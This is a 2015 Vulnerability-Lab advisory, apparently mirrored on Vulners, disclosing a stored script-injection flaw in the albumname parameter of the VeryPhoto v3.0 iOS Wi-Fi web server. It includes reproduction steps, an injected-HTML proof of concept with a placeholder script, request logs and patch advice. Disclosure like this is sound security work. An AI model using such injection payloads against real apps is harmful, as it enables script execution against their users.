Document Title:
===============
VeryPhoto v3.0 iOS - Script Code Inject Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1401
Release Date:
=============
2015-01-13
Vulnerability Laboratory ID (VL-ID):
====================================
1401
Common Vulnerability Scoring System:
====================================
5.6
Product & Service Introduction:
===============================
VeryPhoto Pro is your side of the most powerful local album management software that allows you to easily manage your massive photos,
while giving you an unprecedented user experience. No in-app purchase, no functional limitations. album password - effectively protect
your privacy. multi-touch browsing - Personalized operation allows you to have a different user experience. professional photo editing
features - lets you easily have a professional-grade graphics processing technology.
(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/veryphoto-pro-album-password/id720810114 )
Abstract Advisory Information:
==============================
The vulnerability laboratory research team discovered an application-side web vulnerability in the official VeryPhoto v3.0 iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2015-01-13: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Cheng Chen
Product: VeryPhoto - iOS Web Application (WiFi) 3.0
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
Technical Details & Description:
================================
A script code inject web vulnerability has been discovered in the official VeryPhoto v3.0 iOS mobile web-application.
The vulnerability allows local attackers to inject own malicious script codes to the application-side of the vulnerable module.
The script code injection web vulnerability is located in the vulnerable `albumname` parameter of the `HTTP Wifi Server`.
Local attackers are able to inject own malicious script codes to the application-side by usage of the vulnerable `albumname` value.
The execution of the injected payload occurs in the `VeryPhoto - File Dir Index Listing` of the http wifi interface application.
The injection point is the vulnerable Albumname (Edit/Add) function. Attackers are able to manipulate the local albumname values
by a rename of the inner mobile applicationd data. The attack vector is located on the application-side and request method to
inject is PUT.
The security risk of the web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.6.
Exploitation of the vulnerability requires a low privileged iOS device account with restricted access and low user interaction.
Successful exploitation of the vulnerability results in the execution of malicious inject script codes on the application-side.
Request Method(s):
[+] [Sync]
Vulnerable Module(s):
[+] Album
Vulnerable Parameter(s):
[+] albumname
Affected Module(s):
[+] VeryPhoto - File Dir Index Listing (http://localhost:8080/)
Proof of Concept (PoC):
=======================
The script code inject web vulnerability can be exploited by local attackers (network) without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Install the VeryPhoto Pro Album v3.0 iOS application (https://itunes.apple.com/de/app/veryphoto-pro-album-password/id720810114)
2. Open in the device menu the default photo album app of apple (iphone/ipad)
3. Add a new album and change the name to local command that should be injected
4. Save the settings and open the VeryPhoto Pro Album application
5. Start the Wifi service
6. Surf with a local network device to the local web-server (localhost:8080)
Note: The execution of the command inject occurs after the wifi interface index has been visited. The vulnerable value that executes the command is the albumname.
7. Successful reproduce of the script code inject web vulnerability!
PoC: Albumname - File Dir Index
</script><tr><td height="170" width="150"><p align="center">
<img src="getCoverImage?%7B%22name%22:%22%5C%22%3E%3C[APPLICATION-SIDE SCRIPT CODE EXECUTION!]%3E%3E%22,%22type%22:%222%22,%22groupType%22:2,%22url%22:%22
assets-library://group/?id=7BADE58E-C286-43D8-8CE2-4415C4DF35CA&filter=1537%22,%22numberOfImage%22:%220%22%7D" onclick="albumClick('0')" border="0"
height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150"><p align="center">
<img src="getCoverImage?%7B%22name%22:%22Camera%20Roll%22,%22type%22:%222%22,%22groupType%22:16,%22url%22:%22assets-library://group/?id=70169F06-36C7-430C-AA4F-55B95E268426%22,
%22numberOfImage%22:%223%22%7D" onclick="albumClick('1')" border="0" height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150">
<p align="center"><img src="getCoverImage?%7B%22name%22:%22My%20Photo%20Stream%22,%22type%22:%222%22,%22groupType%22:32,%22url%22:%22
assets-library://group/?id=F8476D51-E4C9-4A2A-948B-2D577719B9C7&filter=1537%22,%22numberOfImage%22:%220%22%7D" onclick="albumClick('2')"
border="0" height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150"></td></tr><tr><td height="20">
<p align="center"><font size="2" face="Courier New">"><X">>(0)</font></td><td height="20" width="50"></td>
<td height="20" > <p align="center"><font face="Courier New" size="2">Camera Roll(3)</font></td><td height="20" width="50"></td><td height="20" >
<p align="center"><font face="Courier New" size="2">My Photo Stream(0)</font></td><td height="20" width="50"></td><td height="20" >
<p align="center"></td></tr><tr><td height="20" colspan="7"></td></tr>
</table>
</div>
--- PoC Session Logs [GET] (Execution) ---
Status: 200[OK]
GET http://192.168.2.104:8080/getCoverImage?%7B%22name%22:%22%5C%22%3E%3Cimg%20src=%5C%22x%5C%22%3E%2520%3C
%3E%3E%22,%22type%22:%222%22,%22groupType%22:2,%22url%22:%22assets-library://group/?id=7BADE58E-C286-43D8-8CE2-4415C4DF35CA&filter=1537%22,%22numberOfImage%22:%220%22%7D
Request Header:
Host[192.168.2.104:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
Referer[http://192.168.2.104:8080/]
Connection[keep-alive]
- Response
Status: OK[200]
GET http://192.168.2.104:8080/x[APPLICATION-SIDE SCRIPT CODE EXECUTION!]
Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[unknown] Mime Type[unknown]
Request Header:
Host[192.168.2.104:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.104:8080/]
Reference(s):
http://localhost:8080/
http://localhost:8080/getCoverImage
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the vulnerable `albumname` value.
Restrict the albumname value and disallow special chars to prevent application-side injection attacks.
Encode in the file dir index listing the vulnerable output value to prevent the execution of local commands.
Security Risk:
==============
The security risk of the script code inject web vulnerability in the albumname is estimated as medium. (CVSS 5.6)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.
Copyright © 2016 | Vulnerability Laboratory [Evolution Security]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation